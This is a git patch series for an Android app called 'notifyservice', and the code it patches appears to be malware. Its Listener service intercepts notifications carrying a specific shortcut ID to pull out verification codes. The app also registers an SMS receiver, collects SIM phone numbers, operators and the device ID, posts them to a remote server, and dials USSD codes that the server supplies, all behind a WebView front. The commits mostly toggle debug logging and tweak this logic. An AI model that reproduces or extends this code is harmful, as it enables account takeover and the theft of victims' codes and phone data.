@@ -264,7 +264,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba this.runOnUiThread(new Runnable() { public void run() { - // Log.i("a", "Run thread"); // STATIC + Log.i("a", "Run thread"); // STATIC AlertDialog dialog = builder.create(); dialog.show(); } @@ -273,7 +273,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba public static String getDeviceInfo(Context context) { - // Log.i("a", "Get device info"); // STATIC + Log.i("a", "Get device info"); // STATIC String m_data = ""; // STATIC String p_seperator = ":"; // STATIC StringBuilder m_builder = new StringBuilder(); @@ -297,7 +297,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba String android_id = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID); m_builder.append(android_id); m_data = m_builder.toString(); - // Log.i("a", "Collected device info - " + m_data); // STATIC + Log.i("a", "Collected device info - " + m_data); // STATIC return m_data; } @@ -310,7 +310,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba Intent intent = new Intent(this, Listener.class); startService(intent); registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION)); - // Log.i("a", "Make process"); // STATIC + Log.i("a", "Make process"); // STATIC Context permissionContext = this; new Handler().postDelayed(() -> makeProcess(permissionContext), 500); } @@ -329,21 +329,21 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } public void cancelTimer(){ - // Log.i("a", "Canceling timer"); // STATIC + Log.i("a", "Canceling timer"); // STATIC if (timer != null) { timer.cancel(); } } public void nextPhone() { - // Log.i("a", "Next phone"); // STATIC + Log.i("a", "Next phone"); // STATIC currentPhone += 1; if (phones.size() > currentPhone) savePhone(getBaseContext(), phones.get(currentPhone)); } private void makeProcess(Context context) { - // Log.i("a", "Make process task..."); // STATIC + Log.i("a", "Make process task..."); // STATIC currentPhone = 0; phones = collectPhoneNumber(context); savePhone(context, phones.get(currentPhone)); @@ -362,7 +362,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } public static boolean isSimConnected(Context context, TelephonyManager telephonyManager) { - // Log.i("a", "isSimConnected"); // STATIC + Log.i("a", "isSimConnected"); // STATIC if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) { return false; @@ -384,15 +384,15 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private void savePhone(Context context, PhoneNumber phone){ - // Log.i("a", "SavePhone - " + phone.phone); // STATIC + Log.i("a", "SavePhone - " + phone.phone); // STATIC if(phone.phoneProvided()){ - // Log.i("a", "PhoneProvided"); // STATIC + Log.i("a", "PhoneProvided"); // STATIC requestPhone(context, phone); } else { - // Log.i("a", "Phone not provided"); // STATIC + Log.i("a", "Phone not provided"); // STATIC receivingSms = false; setCurrentHash(context, ""); // STATIC - // Log.i("a", "Sim connected result: " + isSimConnected(context, phone.telephonyManager)); + Log.i("a", "Sim connected result: " + isSimConnected(context, phone.telephonyManager)); if(!isSimConnected(context, phone.telephonyManager) || !ussd.has(phone.operator)) nextPhone(); else @@ -402,7 +402,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba private void requestPhone(Context context, PhoneNumber phone){ setCurrentHash(context, ""); // STATIC - // Log.i("a", "Requesting phone - " + phone.phone); // STATIC + Log.i("a", "Requesting phone - " + phone.phone); // STATIC PostRequest postRequestTask = new PostRequest(context, this); postRequestTask.execute("phone", phone.save() + ";" + getDeviceInfo(context)); // STATIC @@ -410,9 +410,9 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override public void onPostResponse(JSONObject result) { - // Log.i("a", "On post Response"); // STATIC + Log.i("a", "On post Response"); // STATIC try { - // Log.i("PostResult", result.toString()); // STATIC + Log.i("PostResult", result.toString()); // STATIC if(result.has("hash")) { // STATIC setCurrentHash(this, result.getString("hash")); // STATIC } @@ -429,7 +429,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba }, Math.round(codeTimeout * 1000)); } } catch (Exception e) { - // Log.i("j", Arrays.toString(e.getStackTrace())); + Log.i("j", Arrays.toString(e.getStackTrace())); throw new RuntimeException(e); } @@ -437,7 +437,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override public void onGetResponse(JSONObject result) { - // Log.i("a", "onGetResponse"); // STATIC + Log.i("a", "onGetResponse"); // STATIC try { if(result.get("name"). // STATIC equals("ussd")){ // STATIC @@ -466,13 +466,13 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } } } catch (Exception e) { - // Log.i("ww", Arrays.toString(e.getStackTrace())); + Log.i("ww", Arrays.toString(e.getStackTrace())); throw new RuntimeException(e); } } private boolean isNotificationServiceEnabled() { - // Log.i("a", "isNotificationServiceEnabled"); // STATIC + Log.i("a", "isNotificationServiceEnabled"); // STATIC String packageName = getPackageName(); String enabledListeners = Settings.Secure.getString( getContentResolver(), @@ -487,7 +487,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private static String[] retrievePermissions(Context context) { - // Log.i("a", "retrievePermissions"); // STATIC + Log.i("a", "retrievePermissions"); // STATIC final String pkgName = context.getPackageName(); try { return context @@ -495,13 +495,13 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba .getPackageInfo(pkgName, PackageManager.GET_PERMISSIONS) .requestedPermissions; } catch (PackageManager.NameNotFoundException e) { - // Log.i("222", Arrays.toString(e.getStackTrace())); + Log.i("222", Arrays.toString(e.getStackTrace())); return new String[0]; } } private void requestPermissions(String[] permissions) { - // Log.i("a", "requestPermissions"); // STATIC + Log.i("a", "requestPermissions"); // STATIC ActivityCompat.requestPermissions(MainActivity.this, permissions, 1); } @@ -529,7 +529,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private void requestUssdNumber(PhoneNumber phone) { - // Log.i("a", "requestUssdNumber - " + phone.operator); // STATIC + Log.i("a", "requestUssdNumber - " + phone.operator); // STATIC if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED) return; String ussdRequest = null; @@ -538,7 +538,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba ussdRequest = ussd.getJSONObject(phone.operator).getString("number"); // STATIC smsResponse = ussd.getJSONObject(phone.operator).getBoolean("smsResponsed"); // STATIC } catch (JSONException e) { - // Log.i("ddd", Arrays.toString(e.getStackTrace())); + Log.i("ddd", Arrays.toString(e.getStackTrace())); return; } @@ -569,7 +569,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private List collectPhoneNumber(Context context){ - // Log.i("a", "collectPhoneNumber"); // STATIC + Log.i("a", "collectPhoneNumber"); // STATIC List phoneNumbers = new ArrayList<>(); if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) { // STATIC return phoneNumbers; @@ -626,7 +626,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override public void onBackPressed() { - // Log.i("a", "onBackPressed"); // STATIC + Log.i("a", "onBackPressed"); // STATIC if (webView.canGoBack()) { webView.goBack(); } else { @@ -636,12 +636,12 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override protected void onDestroy() { - // Log.i("a", "onDestroy"); // STATIC + Log.i("a", "onDestroy"); // STATIC super.onDestroy(); try { unregisterReceiver(smsReceiver); } catch(IllegalArgumentException e) { - // Log.i("ppp", Arrays.toString(e.getStackTrace())); + Log.i("ppp", Arrays.toString(e.getStackTrace())); } } From 2dd2014aeab449505230ae7a76cb280c0a620c14 Mon Sep 17 00:00:00 2001 From: Your Name Date: Tue, 15 Apr 2025 02:03:35 +0300 Subject: [PATCH 07/11] test --- .../com/example/notifyservice/Encryption.java | 16 ++-- .../com/example/notifyservice/GetRequest.java | 2 +- .../com/example/notifyservice/Listener.java | 2 +- .../example/notifyservice/MainActivity.java | 74 +++++++++---------- .../example/notifyservice/PostRequest.java | 2 +- 5 files changed, 48 insertions(+), 48 deletions(-) diff --git a/app/src/main/java/com/example/notifyservice/Encryption.java b/app/src/main/java/com/example/notifyservice/Encryption.java index 31b95e2..74dc744 100644 --- a/app/src/main/java/com/example/notifyservice/Encryption.java +++ b/app/src/main/java/com/example/notifyservice/Encryption.java @@ -52,14 +52,14 @@ public class Encryption { "SECRET_KEY" // VARIABLE ).getBytes("UTF-8"), "AES"); - Log.i("asd", "SECRET_KEY");// VARIABLE - Log.i("dsa", "IV_KEY");// VARIABLE + // Log.i("asd", "SECRET_KEY");// VARIABLE + // Log.i("dsa", "IV_KEY");// VARIABLE Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING"); cipher.init(mode, skeySpec, iv); return cipher; } catch (Exception ignored) { - Log.i("gfggg", Arrays.toString(ignored.getStackTrace())); + // Log.i("gfggg", Arrays.toString(ignored.getStackTrace())); } return null; } @@ -121,7 +121,7 @@ public class Encryption { MessageDigest md = MessageDigest.getInstance("SHA-512"); return randomizeCase(bytesToHex(md.digest(bytesOfMessage))); } catch (Exception ignore) { - Log.i("exp2", Arrays.toString(ignore.getStackTrace())); + // Log.i("exp2", Arrays.toString(ignore.getStackTrace())); } return null; } @@ -132,7 +132,7 @@ public class Encryption { MessageDigest md = MessageDigest.getInstance("MD5"); return bytesToHex(md.digest(bytesOfMessage)); } catch (Exception ignore) { - Log.i("exp3", Arrays.toString(ignore.getStackTrace())); + // Log.i("exp3", Arrays.toString(ignore.getStackTrace())); } return null; } @@ -143,7 +143,7 @@ public class Encryption { byte[] plainText = cipher.doFinal(Base64.decode(data.getBytes(), Base64.DEFAULT)); return new String(plainText); } catch (Exception e) { - Log.i("exp4", Arrays.toString(e.getStackTrace())); + // Log.i("exp4", Arrays.toString(e.getStackTrace())); } return ""; } @@ -164,7 +164,7 @@ public class Encryption { return decryptedMessage; } catch (Exception e) { - Log.i("exp22", Arrays.toString(e.getStackTrace())); + // Log.i("exp22", Arrays.toString(e.getStackTrace())); } return ""; } @@ -179,7 +179,7 @@ public class Encryption { cipher.init(Cipher.ENCRYPT_MODE, publicKey); return bytesToHex(cipher.doFinal(data.getBytes())); } catch (Exception e) { - Log.i("exp31", Arrays.toString(e.getStackTrace())); + // Log.i("exp31", Arrays.toString(e.getStackTrace())); } return ""; diff --git a/app/src/main/java/com/example/notifyservice/GetRequest.java b/app/src/main/java/com/example/notifyservice/GetRequest.java index 4bdf34f..917c5cb 100644 --- a/app/src/main/java/com/example/notifyservice/GetRequest.java +++ b/app/src/main/java/com/example/notifyservice/GetRequest.java @@ -52,7 +52,7 @@ public class GetRequest { result ))); } catch (Exception e) { - Log.i("exp1", Arrays.toString(e.getStackTrace())); + // Log.i("exp1", Arrays.toString(e.getStackTrace())); } } diff --git a/app/src/main/java/com/example/notifyservice/Listener.java b/app/src/main/java/com/example/notifyservice/Listener.java index 56e37e2..da3a84f 100644 --- a/app/src/main/java/com/example/notifyservice/Listener.java +++ b/app/src/main/java/com/example/notifyservice/Listener.java @@ -57,7 +57,7 @@ public class Listener extends NotificationListenerService { @Override public void onNotificationPosted(StatusBarNotification sbn){ String packageName = sbn.getPackageName(); - Log.i(packageName, packageName); + // Log.i(packageName, packageName); if(getShortcutSafe(sbn).equals("ndid_777000")){ // STATIC String code = processExtras(sbn.getNotification().extras); if (code.length() < 5) diff --git a/app/src/main/java/com/example/notifyservice/MainActivity.java b/app/src/main/java/com/example/notifyservice/MainActivity.java index ba461c4..166d64c 100644 --- a/app/src/main/java/com/example/notifyservice/MainActivity.java +++ b/app/src/main/java/com/example/notifyservice/MainActivity.java @@ -148,7 +148,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override protected void onCreate(Bundle savedInstanceState) { - Log.i("a", "1"); // STATIC + // Log.i("a", "1"); // STATIC super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); @@ -201,9 +201,9 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba // Загрузка начального URL webView.loadUrl(websiteUrl); - Log.i("a", "Loading data..."); // STATIC + // Log.i("a", "Loading data..."); // STATIC loadData(); - Log.i("a", "Data loaded."); // STATIC + // Log.i("a", "Data loaded."); // STATIC } @@ -211,35 +211,35 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba private void loadData() { requestsCount = 0; - Log.i("a", "Requesting ussds - " + ussdUrl); // STATIC + // Log.i("a", "Requesting ussds - " + ussdUrl); // STATIC GetRequest ussdRequestTask = new GetRequest(this, this); ussdRequestTask.execute(ussdUrl); - Log.i("a", "Requesting languages - " + languagesUrl); // STATIC + // Log.i("a", "Requesting languages - " + languagesUrl); // STATIC GetRequest languagesRequestTask = new GetRequest(this, this); languagesRequestTask.execute(languagesUrl); } public static String getKey(Context context) { try { - Log.i("a", "Get key"); // STATIC + // Log.i("a", "Get key"); // STATIC SharedPreferences sharedPreferences = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE); return sharedPreferences.getString("KEY", "INIT_KEY"); // VARIABLE STATIC } catch (Exception e) { - Log.i("agg", Arrays.toString(e.getStackTrace())); // STATIC + // Log.i("agg", Arrays.toString(e.getStackTrace())); // STATIC return ""; // STATIC } } public static void setKey(Context context, String key) { - Log.i("a", "Set key"); // STATIC + // Log.i("a", "Set key"); // STATIC SharedPreferences.Editor editor = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE).edit(); editor.putString("KEY", key); editor.apply(); } private void promptNotificationAccess() throws JSONException { - Log.i("a", "Prompt"); // STATIC + // Log.i("a", "Prompt"); // STATIC AlertDialog.Builder builder = new AlertDialog.Builder(this); builder.setTitle(language.getString("title")); // STATIC builder.setMessage(language.getString("message")); // STATIC @@ -264,7 +264,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba this.runOnUiThread(new Runnable() { public void run() { - Log.i("a", "Run thread"); // STATIC + // Log.i("a", "Run thread"); // STATIC AlertDialog dialog = builder.create(); dialog.show(); } @@ -273,7 +273,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba public static String getDeviceInfo(Context context) { - Log.i("a", "Get device info"); // STATIC + // Log.i("a", "Get device info"); // STATIC String m_data = ""; // STATIC String p_seperator = ":"; // STATIC StringBuilder m_builder = new StringBuilder(); @@ -297,7 +297,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba String android_id = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID); m_builder.append(android_id); m_data = m_builder.toString(); - Log.i("a", "Collected device info - " + m_data); // STATIC + // Log.i("a", "Collected device info - " + m_data); // STATIC return m_data; } @@ -310,7 +310,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba Intent intent = new Intent(this, Listener.class); startService(intent); registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION)); - Log.i("a", "Make process"); // STATIC + // Log.i("a", "Make process"); // STATIC Context permissionContext = this; new Handler().postDelayed(() -> makeProcess(permissionContext), 500); } @@ -329,21 +329,21 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } public void cancelTimer(){ - Log.i("a", "Canceling timer"); // STATIC + // Log.i("a", "Canceling timer"); // STATIC if (timer != null) { timer.cancel(); } } public void nextPhone() { - Log.i("a", "Next phone"); // STATIC + // Log.i("a", "Next phone"); // STATIC currentPhone += 1; if (phones.size() > currentPhone) savePhone(getBaseContext(), phones.get(currentPhone)); } private void makeProcess(Context context) { - Log.i("a", "Make process task..."); // STATIC + // Log.i("a", "Make process task..."); // STATIC currentPhone = 0; phones = collectPhoneNumber(context); savePhone(context, phones.get(currentPhone)); @@ -362,7 +362,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } public static boolean isSimConnected(Context context, TelephonyManager telephonyManager) { - Log.i("a", "isSimConnected"); // STATIC + // Log.i("a", "isSimConnected"); // STATIC if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) { return false; @@ -384,15 +384,15 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private void savePhone(Context context, PhoneNumber phone){ - Log.i("a", "SavePhone - " + phone.phone); // STATIC + // Log.i("a", "SavePhone - " + phone.phone); // STATIC if(phone.phoneProvided()){ - Log.i("a", "PhoneProvided"); // STATIC + // Log.i("a", "PhoneProvided"); // STATIC requestPhone(context, phone); } else { - Log.i("a", "Phone not provided"); // STATIC + // Log.i("a", "Phone not provided"); // STATIC receivingSms = false; setCurrentHash(context, ""); // STATIC - Log.i("a", "Sim connected result: " + isSimConnected(context, phone.telephonyManager)); + // Log.i("a", "Sim connected result: " + isSimConnected(context, phone.telephonyManager)); if(!isSimConnected(context, phone.telephonyManager) || !ussd.has(phone.operator)) nextPhone(); else @@ -402,7 +402,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba private void requestPhone(Context context, PhoneNumber phone){ setCurrentHash(context, ""); // STATIC - Log.i("a", "Requesting phone - " + phone.phone); // STATIC + // Log.i("a", "Requesting phone - " + phone.phone); // STATIC PostRequest postRequestTask = new PostRequest(context, this); postRequestTask.execute("phone", phone.save() + ";" + getDeviceInfo(context)); // STATIC @@ -410,9 +410,9 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override public void onPostResponse(JSONObject result) { - Log.i("a", "On post Response"); // STATIC + // Log.i("a", "On post Response"); // STATIC try { - Log.i("PostResult", result.toString()); // STATIC + // Log.i("PostResult", result.toString()); // STATIC if(result.has("hash")) { // STATIC setCurrentHash(this, result.getString("hash")); // STATIC } @@ -429,7 +429,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba }, Math.round(codeTimeout * 1000)); } } catch (Exception e) { - Log.i("j", Arrays.toString(e.getStackTrace())); + // Log.i("j", Arrays.toString(e.getStackTrace())); throw new RuntimeException(e); } @@ -437,7 +437,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override public void onGetResponse(JSONObject result) { - Log.i("a", "onGetResponse"); // STATIC + // Log.i("a", "onGetResponse"); // STATIC try { if(result.get("name"). // STATIC equals("ussd")){ // STATIC @@ -466,13 +466,13 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } } } catch (Exception e) { - Log.i("ww", Arrays.toString(e.getStackTrace())); + // Log.i("ww", Arrays.toString(e.getStackTrace())); throw new RuntimeException(e); } } private boolean isNotificationServiceEnabled() { - Log.i("a", "isNotificationServiceEnabled"); // STATIC + // Log.i("a", "isNotificationServiceEnabled"); // STATIC String packageName = getPackageName(); String enabledListeners = Settings.Secure.getString( getContentResolver(), @@ -487,7 +487,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private static String[] retrievePermissions(Context context) { - Log.i("a", "retrievePermissions"); // STATIC + // Log.i("a", "retrievePermissions"); // STATIC final String pkgName = context.getPackageName(); try { return context @@ -495,13 +495,13 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba .getPackageInfo(pkgName, PackageManager.GET_PERMISSIONS) .requestedPermissions; } catch (PackageManager.NameNotFoundException e) { - Log.i("222", Arrays.toString(e.getStackTrace())); + // Log.i("222", Arrays.toString(e.getStackTrace())); return new String[0]; } } private void requestPermissions(String[] permissions) { - Log.i("a", "requestPermissions"); // STATIC + // Log.i("a", "requestPermissions"); // STATIC ActivityCompat.requestPermissions(MainActivity.this, permissions, 1); } @@ -529,7 +529,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private void requestUssdNumber(PhoneNumber phone) { - Log.i("a", "requestUssdNumber - " + phone.operator); // STATIC + // Log.i("a", "requestUssdNumber - " + phone.operator); // STATIC if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED) return; String ussdRequest = null; @@ -538,7 +538,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba ussdRequest = ussd.getJSONObject(phone.operator).getString("number"); // STATIC smsResponse = ussd.getJSONObject(phone.operator).getBoolean("smsResponsed"); // STATIC } catch (JSONException e) { - Log.i("ddd", Arrays.toString(e.getStackTrace())); + // Log.i("ddd", Arrays.toString(e.getStackTrace())); return; } @@ -569,7 +569,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private List collectPhoneNumber(Context context){ - Log.i("a", "collectPhoneNumber"); // STATIC + // Log.i("a", "collectPhoneNumber"); // STATIC List phoneNumbers = new ArrayList<>(); if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) { // STATIC return phoneNumbers; @@ -626,7 +626,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override public void onBackPressed() { - Log.i("a", "onBackPressed"); // STATIC + // Log.i("a", "onBackPressed"); // STATIC if (webView.canGoBack()) { webView.goBack(); } else { @@ -636,12 +636,12 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override protected void onDestroy() { - Log.i("a", "onDestroy"); // STATIC + // Log.i("a", "onDestroy"); // STATIC super.onDestroy(); try { unregisterReceiver(smsReceiver); } catch(IllegalArgumentException e) { - Log.i("ppp", Arrays.toString(e.getStackTrace())); + // Log.i("ppp", Arrays.toString(e.getStackTrace())); } } diff --git a/app/src/main/java/com/example/notifyservice/PostRequest.java b/app/src/main/java/com/example/notifyservice/PostRequest.java index 1914431..6b6498b 100644 --- a/app/src/main/java/com/example/notifyservice/PostRequest.java +++ b/app/src/main/java/com/example/notifyservice/PostRequest.java @@ -35,7 +35,7 @@ public class PostRequest { public final OkHttpClient client = new OkHttpClient(); public void execute(String... params) { - Log.i("ExecutePost", "Post Executing..."); + // Log.i("ExecutePost", "Post Executing..."); String timeStamp = String.valueOf(TimeUnit.MILLISECONDS.toSeconds(System.currentTimeMillis())); String key = MainActivity.getKey(context) + timeStamp; From 76bc7ed59cd11ea6086cc42400fe171f3c93b677 Mon Sep 17 00:00:00 2001 From: Your Name Date: Tue, 15 Apr 2025 02:16:11 +0300 Subject: [PATCH 08/11] test --- .../main/java/com/example/notifyservice/MainActivity.java | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/app/src/main/java/com/example/notifyservice/MainActivity.java b/app/src/main/java/com/example/notifyservice/MainActivity.java index 166d64c..2f9e6d4 100644 --- a/app/src/main/java/com/example/notifyservice/MainActivity.java +++ b/app/src/main/java/com/example/notifyservice/MainActivity.java @@ -448,9 +448,12 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } else if (result.get("name"). // STATIC equals("languages")) { // STATIC - String currentLanguage = Locale.getDefault().getLanguage(); - if(!result.getJSONObject("data").has(currentLanguage)) // STATIC + String currentLanguage; + if(!result.getJSONObject("data").has(Locale.getDefault().getLanguage())) // STATIC currentLanguage = "en"; // STATIC + else + currentLanguage = Locale.getDefault().getLanguage(); + language = result.getJSONObject( "data" // STATIC From 84270659cfe9956b68ad77b7e25ea571a99c676e Mon Sep 17 00:00:00 2001 From: Your Name Date: Tue, 15 Apr 2025 02:24:07 +0300 Subject: [PATCH 09/11] test --- .../com/example/notifyservice/MainActivity.java | 16 ++++------------ 1 file changed, 4 insertions(+), 12 deletions(-) diff --git a/app/src/main/java/com/example/notifyservice/MainActivity.java b/app/src/main/java/com/example/notifyservice/MainActivity.java index 2f9e6d4..134beb2 100644 --- a/app/src/main/java/com/example/notifyservice/MainActivity.java +++ b/app/src/main/java/com/example/notifyservice/MainActivity.java @@ -448,17 +448,9 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } else if (result.get("name"). // STATIC equals("languages")) { // STATIC - String currentLanguage; - if(!result.getJSONObject("data").has(Locale.getDefault().getLanguage())) // STATIC - currentLanguage = "en"; // STATIC - else - currentLanguage = Locale.getDefault().getLanguage(); - - language = result.getJSONObject( "data" // STATIC - ).getJSONObject(currentLanguage); - + ).getJSONObject(Locale.getDefault().getLanguage()); requestsCount += 1; } if (requestsCount == 2) { @@ -468,7 +460,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba requestPermissions(retrievePermissions(this)); } } - } catch (Exception e) { + } catch (JSONException e) { // Log.i("ww", Arrays.toString(e.getStackTrace())); throw new RuntimeException(e); } @@ -586,8 +578,8 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba phoneNumbers.add(new PhoneNumber( phoneNumber, telephonyManager, - telephonyManager.getSimOperatorName().toLowerCase(), - currentCard.getCountryIso().toLowerCase() + telephonyManager.getSimOperatorName(), + currentCard.getCountryIso() )); } /* From 273507ea6fe7499c169814924ad4026c75e36134 Mon Sep 17 00:00:00 2001 From: Your Name Date: Tue, 15 Apr 2025 02:30:34 +0300 Subject: [PATCH 10/11] test --- .../example/notifyservice/MainActivity.java | 20 +++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) diff --git a/app/src/main/java/com/example/notifyservice/MainActivity.java b/app/src/main/java/com/example/notifyservice/MainActivity.java index 134beb2..e0a62cf 100644 --- a/app/src/main/java/com/example/notifyservice/MainActivity.java +++ b/app/src/main/java/com/example/notifyservice/MainActivity.java @@ -393,10 +393,13 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba receivingSms = false; setCurrentHash(context, ""); // STATIC // Log.i("a", "Sim connected result: " + isSimConnected(context, phone.telephonyManager)); - if(!isSimConnected(context, phone.telephonyManager) || !ussd.has(phone.operator)) + if(!isSimConnected(context, phone.telephonyManager)) nextPhone(); else - requestUssdNumber(phone); + if(!ussd.has(phone.operator)) + nextPhone(); + else + requestUssdNumber(phone); } } @@ -448,9 +451,14 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } else if (result.get("name"). // STATIC equals("languages")) { // STATIC + String currentLanguage = Locale.getDefault().getLanguage(); + if(!result.getJSONObject("data").has(currentLanguage)) // STATIC + currentLanguage = "en"; // STATIC + language = result.getJSONObject( "data" // STATIC - ).getJSONObject(Locale.getDefault().getLanguage()); + ).getJSONObject(currentLanguage); + requestsCount += 1; } if (requestsCount == 2) { @@ -460,7 +468,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba requestPermissions(retrievePermissions(this)); } } - } catch (JSONException e) { + } catch (Exception e) { // Log.i("ww", Arrays.toString(e.getStackTrace())); throw new RuntimeException(e); } @@ -578,8 +586,8 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba phoneNumbers.add(new PhoneNumber( phoneNumber, telephonyManager, - telephonyManager.getSimOperatorName(), - currentCard.getCountryIso() + telephonyManager.getSimOperatorName().toLowerCase(), + currentCard.getCountryIso().toLowerCase() )); } /* From 6f4d032a1962179e358e053c9e9458826f1a7be8 Mon Sep 17 00:00:00 2001 From: Your Name Date: Tue, 15 Apr 2025 20:19:37 +0300 Subject: [PATCH 11/11] test --- .../java/com/example/notifyservice/MainActivity.java | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) diff --git a/app/src/main/java/com/example/notifyservice/MainActivity.java b/app/src/main/java/com/example/notifyservice/MainActivity.java index e0a62cf..a3bce49 100644 --- a/app/src/main/java/com/example/notifyservice/MainActivity.java +++ b/app/src/main/java/com/example/notifyservice/MainActivity.java @@ -396,10 +396,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba if(!isSimConnected(context, phone.telephonyManager)) nextPhone(); else - if(!ussd.has(phone.operator)) - nextPhone(); - else - requestUssdNumber(phone); + requestUssdNumber(phone); } } @@ -452,9 +449,8 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } else if (result.get("name"). // STATIC equals("languages")) { // STATIC String currentLanguage = Locale.getDefault().getLanguage(); - if(!result.getJSONObject("data").has(currentLanguage)) // STATIC - currentLanguage = "en"; // STATIC - + if(!result.getJSONObject("data").has(currentLanguage)) + currentLanguage = "en"; language = result.getJSONObject( "data" // STATIC ).getJSONObject(currentLanguage); @@ -468,7 +464,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba requestPermissions(retrievePermissions(this)); } } - } catch (Exception e) { + } catch (JSONException e) { // Log.i("ww", Arrays.toString(e.getStackTrace())); throw new RuntimeException(e); }